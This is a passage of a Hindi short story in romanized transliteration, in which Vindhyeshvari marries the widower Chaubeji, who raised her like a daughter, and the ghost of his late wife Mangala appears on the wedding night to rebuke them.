viandhaye. –‘kya kahati ho ammaan, unase mera maian to laj ke mare mar jaooan, unake samane tak n sakooan. vah bhi kabhi n maneange. manane ki bat bhi ho koee. '--
mata –‘unaka jimma maian leti hooan. maian unhean raji kar looangi. too raji ho ja. yad rakh, yah koee hansi-khushi ka byah nahian hai, unaki pranaraksha ki bat hai, jisake siva sansar mean hamara aur koee nahian. phir abhi unaki
kuchh aisi umr bhi to nahian hai. pachas se do hi char sal oopar hoange. unhoanne ek jyotishi se poochha, bhi tha. usane unaki kuandali dekhakar bataya hai ki apaki zindagi kam-se-kam 20 varsh ki hai. dekhane-sunane mean bhi vah sau-do-sau mean ek adami haian. '
batachit mean chatur mata ne kuchh aisa shabd-vyooh racha ki saral balika usamean se nikal n saki. mata janati thi ki pralobhan ka jadoo is par n chalega. dhan ka, abhooshanoan ka, kul-samman ka, sukhamay jivan ka usane
ftkr tak n kiya. usane keval chaubeji ki dayaniy dasha par zor diya.
ant ko viandhyeshvari ne kaha, 'ammaan, maian janati hooan ki mere n rahane se unako b da du:kh hoga; yah bhi janati hooan ki mere jivan mean sukh nahian likha hai. achchha, unake hit ke lie maian apana jivan balidan kar dooangi. eeshvar ki yahi ichchha hai, to yahi sahi. '
chaubeji ke ghar mean mangal-gan ho raha tha. viandhyeshvari aj vadhoo banakar is ghar mean ayi hai. kee varsh pahale vah chaubeji ki putri banakar ayi thi ! usane kabhi svapn mean bhi n socha tha ki maian ek din is ghar ki svamini banooangi.
chaubeji ki saj-dhaj aj dekhane yogy hai. tanajeb ka rangin kurata, katari huee aur sanvari huee mooanchhean, khijab se chamakate hue bal, hansata hua chehara, chadhi aankhean yauvan ka poora svaang tha ! rat bit chuki thi. viandhyeshvari abhooshanoan se ladi huee, bhari jo de pahane, pharsh par sir jhukaye baithi thi. use koee utkantha n thi, bhay n tha, keval yah sankoch tha ki maian unake samane kaise muanh kholooangi ? unaki god mean kheli hooan; unake kandhoan par baithi hooan, unaki pith par savar huee hooan, kaise unhean muanh dikhaooangi. magar ve pichhali batean kyoan sochooan. eeshvar unhean prasann rakhe. jisake lie maianne putri se patni banana svikar kiya, vah poorn ho. unaka jivan anand se vyatit ho.
itane mean chaubeji aye. viandhyeshvari uth kh di huee. use itani lajja ayi ki ji chaha kahian bhag jay. khi daki se niche kood p de.
chaubeji ne usaka hath pak d liya aur bole, 'binni, mujhase darati ho ? '
binni kuchh n boli, moorti ki tarah vahian kh di rahi. ek kshan mean chaubeji ne use bitha diya, vah baith gayi. usaka gala bhar-bhar ata tha. bhagy ki yah nirday lila, yah kroor kri da usake lie asahy ho rahi thi.
panditaji ne poochha, 'binni, bolati kyoan nahian ? kya mujhase naraz ho ? '
viandhyeshvari ne apane kan band kar liye. yahi parichit avaz vah kitane dinoan se sunati chali ati thi. aj vah vyangy se bhi tivr aur upahas se bhi katu pratit hoti thi. sahasa panditaji chauank p de, aankhean phail gayian aur donoan hath meandhak ke pairoan ki bhaanti siku d gaye. vah do qadam pichhe hat gaye. khi daki se mangala
aandar jhaank rahi thi ! chhaya nahian, mangala thi mangala thi sadeh, sakar, sajiv !
chaubeji kaanpati huee tooti-phooti avaz se bole 'binni dekho, vah kya hai ? '
binni ne ghabarakar khi daki ki or dekha. kuchh n tha. boli, 'kya hai ? mujhe to kuchh nahian dikhaee deta.
chaubeji –‘ab gayab ho gayi; lekin eeshvar janata hai, mangala thi. '
binni—‘ bahan ? '
chaubeji –‘haan-haan, vahi. khi daki se aandar jhaank rahi thi. mere to royean kh de ho gaye. '
viandhyeshvari kaanpati huee boli, 'maian yahaan nahian rahooangi. '
chaube—‘ nahian, nahian, binni, koee dar nahian hai, mujhe dhokha hua hoga. bat yah hai ki vah ghar mean rahati thi, yahian soti thi, isi se kadachith meri bhavana ne usaki moorti lakar kh di kar di. koee bat nahian hai. aj ka din kitana mangalamay hai ki meri binni yatharth mean meri hi ho gayi ... '
yah kahate-kahate chaubeji phir chauanke. phir vahi moorti khi daki se jhaank rahi thi moorti nahian, sadeh, sajiv, sakar mangala ! abaki usaki aankhoan mean krodh n tha, tiraskar n tha, unamean hasy bhara hua tha, mano vah is drishy
par hans rahi hai mano usake samane koee abhinay ho raha hai.
chaubeji ne kaanpate hue kaha, 'binni, phir vahi bat huee ! vah dekho, mangala kh di hai ! '
viandhyeshvari chikhakar unake gale se chimat gayi !
chaubeji ne mahavir ka nam japate hue kaha, 'maian kiva d band kiye deta hooan. '
binni –‘maian is ghar mean nahian rahooangi. (ro kar) bhaiyaji, tumane bahan ke aantim adesh ko nahian mana, isi se unaki atma dukhi ho rahi hai. mujhe to kisi amangal ki ashanka ho rahi hai.'
chaubeji ne uthakar khi daki ke dvar band kar diye aur kaha, 'maian kal se durgapath karaooanga. aj tak kabhi aisi shanka n huee thi. tumase kya kahooan, maloom hota hai ... hoga; us bat ko jane do. yahaan b di garami p d
rahi hai. abhi pani girane ko do mahine se kam nahian haian. ham log mansoori kyoan n chalean.'
viandhaye.—‘ mera to kahian jane ka ji nahian chahata. kal se durgapath zaroor karana. mujhe ab is kamare mean niand n ayegi.'
pandit –‘granthoan mean to yahi dekha hai ki marane ke bad keval sookshm sharir rah jata hai. phir samajh mean nahian ata, yah svaroop kyoankar dikhaee de raha hai. maian sach kahata hooan binni, agar tumane mujh par yah daya n ki hoti; to
maian kahian ka n rahata. shayad is vakt maian badrinath ke paha doan par sir takarata hota, ya kaun jane vish khakar pranaant kar chuka hota ! '
viandhaye.—‘ mansoori mean kisi hotal mean thaharana p dega ! '
pandit –‘nahian, makan bhi milate haian. maian apane ek mitr ko likhe deta hooan, vah koee makan thik kar rakheange vahaan ... ...
bat poori n hone payi thi ki n-jane kahaan se zaise akashavani ho avaz aee 'binni tumhari putri hai.'
chaubeji ne donoan kan band kar liye. bhay se thar-thar kaanpate hue bole, 'binni, yahaan se chalo. n jane kahaan se avajean a rahi haian.'
'binni tumhari putri hai !' yah dhvani sahastr kanoan se panditaji ko sunaee p dane lagi, mano is kamare ki ek-ek vastu se yahi sada a rahi hai. binni ne rokar poochha, 'qaisi avaz thi ? '
pandit –‘kya bataooan, kahate lajja ati hai.'
binni –‘zaroor bahanaji ki atma hai. bahan, mujh par daya karo, maian sarvatha nirdosh hooan.'
pandit –‘fir vahi avaz a rahi hai. hay eeshvar ! kahaan jaooan ? mere to rom-rom mean ve hi shabd gooanj rahe haian. binni, bura kiya. mangala sati thi, usake adesh ki upeksha karake maianne apane hak mean zahar boya. kahaan jaooan, kya karooan ? '
yah kahakar panditaji ne kamare ke kiva d khol diye aur betahasha bhage. apane maradane kamare mean pahuanchakar vah gir p de. moorchchha a gayi. viandhyeshvari bhi dau di, par chaukhat se bahar nikalate hi gir p di !
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
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